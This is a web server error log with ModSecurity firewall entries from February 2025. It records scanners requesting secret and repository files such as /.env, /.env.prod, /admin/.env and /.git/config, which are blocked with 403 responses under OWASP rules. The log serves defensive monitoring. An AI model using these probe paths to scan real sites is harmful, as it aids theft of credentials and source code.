[Thu Feb 06 03:08:51.199805 2025] [:error] [pid 967678] [client 45.148.10.235:57986] [client 45.148.10.235] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.prod"] [unique_id "Z6QZs_miDqsw3PM1XlddggAAAAQ"]
[Thu Feb 06 03:08:51.200484 2025] [:error] [pid 967678] [client 45.148.10.235:57986] [client 45.148.10.235] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.prod"] [unique_id "Z6QZs_miDqsw3PM1XlddggAAAAQ"]
[Thu Feb 06 03:08:51.454989 2025] [:error] [pid 967676] [client 45.148.10.235:57998] [client 45.148.10.235] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /login/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/login/.env"] [unique_id "Z6QZs3nq6wD1N8H0koR1OAAAAAI"]
[Thu Feb 06 03:08:51.455280 2025] [:error] [pid 967676] [client 45.148.10.235:57998] [client 45.148.10.235] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/login/.env"] [unique_id "Z6QZs3nq6wD1N8H0koR1OAAAAAI"]
[Thu Feb 06 03:08:51.455450 2025] [:error] [pid 967676] [client 45.148.10.235:57998] [client 45.148.10.235] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/login/.env"] [unique_id "Z6QZs3nq6wD1N8H0koR1OAAAAAI"]
[Thu Feb 06 03:08:51.675219 2025] [:error] [pid 967677] [client 45.148.10.235:58008] [client 45.148.10.235] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /local/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/local/.env"] [unique_id "Z6QZs-2kD27RYcl6tSP5UwAAAAM"]
[Thu Feb 06 03:08:51.675817 2025] [:error] [pid 967677] [client 45.148.10.235:58008] [client 45.148.10.235] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/local/.env"] [unique_id "Z6QZs-2kD27RYcl6tSP5UwAAAAM"]
[Thu Feb 06 03:08:51.676293 2025] [:error] [pid 967677] [client 45.148.10.235:58008] [client 45.148.10.235] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/local/.env"] [unique_id "Z6QZs-2kD27RYcl6tSP5UwAAAAM"]
[Thu Feb 06 03:08:51.906899 2025] [:error] [pid 967675] [client 45.148.10.235:58022] [client 45.148.10.235] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /admin/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/admin/.env"] [unique_id "Z6QZs8hnrz69_hj9De6flAAAAAE"]
[Thu Feb 06 03:08:51.907492 2025] [:error] [pid 967675] [client 45.148.10.235:58022] [client 45.148.10.235] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/admin/.env"] [unique_id "Z6QZs8hnrz69_hj9De6flAAAAAE"]
[Thu Feb 06 03:08:51.907948 2025] [:error] [pid 967675] [client 45.148.10.235:58022] [client 45.148.10.235] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/admin/.env"] [unique_id "Z6QZs8hnrz69_hj9De6flAAAAAE"]
[Thu Feb 06 03:08:52.110979 2025] [authz_core:error] [pid 967679] [client 45.148.10.235:58032] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/dev/.env
[Thu Feb 06 03:08:52.350035 2025] [:error] [pid 967674] [client 45.148.10.235:58036] [client 45.148.10.235] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /application/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/application/.env"] [unique_id "Z6QZtOi0RSWDzi9bHDwAjAAAAAA"]
[Thu Feb 06 03:08:52.350673 2025] [:error] [pid 967674] [client 45.148.10.235:58036] [client 45.148.10.235] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/application/.env"] [unique_id "Z6QZtOi0RSWDzi9bHDwAjAAAAAA"]
[Thu Feb 06 03:08:52.351161 2025] [:error] [pid 967674] [client 45.148.10.235:58036] [client 45.148.10.235] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/application/.env"] [unique_id "Z6QZtOi0RSWDzi9bHDwAjAAAAAA"]
[Sun Feb 09 14:52:40.717492 2025] [:error] [pid 1041041] [client 194.233.73.109:51232] [client 194.233.73.109] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "Z6izKLEhMnm5cunCM9NjzgAAAAs"]
[Sun Feb 09 14:52:40.719660 2025] [:error] [pid 1041041] [client 194.233.73.109:51232] [client 194.233.73.109] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "Z6izKLEhMnm5cunCM9NjzgAAAAs"]
[Sun Feb 09 14:52:40.720142 2025] [:error] [pid 1041041] [client 194.233.73.109:51232] [client 194.233.73.109] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "Z6izKLEhMnm5cunCM9NjzgAAAAs"]
[Wed Feb 12 10:32:06.736888 2025] [:error] [pid 1098791] [client 54.84.249.63:42480] [client 54.84.249.63] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "Z6xqlveUt0nC91sSJ-uCugAAAAE"]
[Wed Feb 12 10:32:06.738765 2025] [:error] [pid 1098791] [client 54.84.249.63:42480] [client 54.84.249.63] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "Z6xqlveUt0nC91sSJ-uCugAAAAE"]
[Wed Feb 12 10:32:06.739249 2025] [:error] [pid 1098791] [client 54.84.249.63:42480] [client 54.84.249.63] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "Z6xqlveUt0nC91sSJ-uCugAAAAE"]
[Thu Feb 13 08:47:45.029017 2025] [:error] [pid 1120635] [client 15.236.64.214:55779] [client 15.236.64.214] ModSecurity: Rule 7f528b8aebe8 [id "932150"][file "/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"][line "471"] - Execution error - PCRE limits exceeded (-8): (null). [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-content/plugins/wp-ver.php"] [unique_id "Z62joU_uZM9qfG_ZqDdGzwAAAAY"], referer: www.google.com
[Fri Feb 14 17:21:47.553267 2025] [:error] [pid 1151900] [client 89.248.163.4:60520] [client 89.248.163.4] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "Z69tm1LvIEsCamy8Kfj-uAAAABM"]
[Fri Feb 14 17:21:47.554831 2025] [:error] [pid 1151900] [client 89.248.163.4:60520] [client 89.248.163.4] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "Z69tm1LvIEsCamy8Kfj-uAAAABM"]
[Fri Feb 14 17:21:47.555353 2025] [:error] [pid 1151900] [client 89.248.163.4:60520] [client 89.248.163.4] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "Z69tm1LvIEsCamy8Kfj-uAAAABM"]
[Sat Feb 15 05:30:49.704888 2025] [:error] [pid 1161773] [client 13.58.228.70:34636] [client 13.58.228.70] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "Z7AYeUL5gws2u7eELqI-sAAAAAM"]
[Sat Feb 15 05:30:49.705806 2025] [:error] [pid 1161773] [client 13.58.228.70:34636] [client 13.58.228.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "Z7AYeUL5gws2u7eELqI-sAAAAAM"]
[Sat Feb 15 05:30:49.706504 2025] [:error] [pid 1161773] [client 13.58.228.70:34636] [client 13.58.228.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "Z7AYeUL5gws2u7eELqI-sAAAAAM"]
[Sat Feb 15 05:33:15.104234 2025] [:error] [pid 1161772] [client 13.58.228.70:44882] [client 13.58.228.70] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "Z7AZC_GOMcAsGVQA3yyGsAAAAAI"]
[Sat Feb 15 05:33:15.104865 2025] [:error] [pid 1161772] [client 13.58.228.70:44882] [client 13.58.228.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "Z7AZC_GOMcAsGVQA3yyGsAAAAAI"]
[Sat Feb 15 05:33:15.105356 2025] [:error] [pid 1161772] [client 13.58.228.70:44882] [client 13.58.228.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "Z7AZC_GOMcAsGVQA3yyGsAAAAAI"]
[Sat Feb 15 05:33:16.937498 2025] [:error] [pid 1161774] [client 13.58.228.70:44892] [client 13.58.228.70] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "Z7AZDDcUtbEj9r-8aH-lQAAAAAQ"]
[Sat Feb 15 05:33:16.938097 2025] [:error] [pid 1161774] [client 13.58.228.70:44892] [client 13.58.228.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "Z7AZDDcUtbEj9r-8aH-lQAAAAAQ"]
[Sat Feb 15 05:33:16.938648 2025] [:error] [pid 1161774] [client 13.58.228.70:44892] [client 13.58.228.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "Z7AZDDcUtbEj9r-8aH-lQAAAAAQ"]
[Wed Feb 19 19:32:12.220298 2025] [:error] [pid 1258388] [client 57.180.240.215:60086] [client 57.180.240.215] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "Z7YjrAzqEFiMFYV11ByxWwAAAAM"]
[Wed Feb 19 19:32:12.222645 2025] [:error] [pid 1258388] [client 57.180.240.215:60086] [client 57.180.240.215] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "Z7YjrAzqEFiMFYV11ByxWwAAAAM"]
[Wed Feb 19 19:32:12.223039 2025] [:error] [pid 1258388] [client 57.180.240.215:60086] [client 57.180.240.215] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "Z7YjrAzqEFiMFYV11ByxWwAAAAM"]
[Sat Feb 22 13:48:40.874448 2025] [:error] [pid 1324770] [client 52.66.240.57:47884] [client 52.66.240.57] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "Z7nHqE10iGF_xgbBjepv0gAAAAI"]
[Sat Feb 22 13:48:40.876488 2025] [:error] [pid 1324770] [client 52.66.240.57:47884] [client 52.66.240.57] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "Z7nHqE10iGF_xgbBjepv0gAAAAI"]
[Sat Feb 22 13:48:40.876967 2025] [:error] [pid 1324770] [client 52.66.240.57:47884] [client 52.66.240.57] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "Z7nHqE10iGF_xgbBjepv0gAAAAI"]
[Sun Feb 23 11:21:53.025088 2025] [:error] [pid 1354090] [client 52.66.240.57:47628] [client 52.66.240.57] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "Z7r2wX8xQne8Osaqg99TJgAAABQ"]
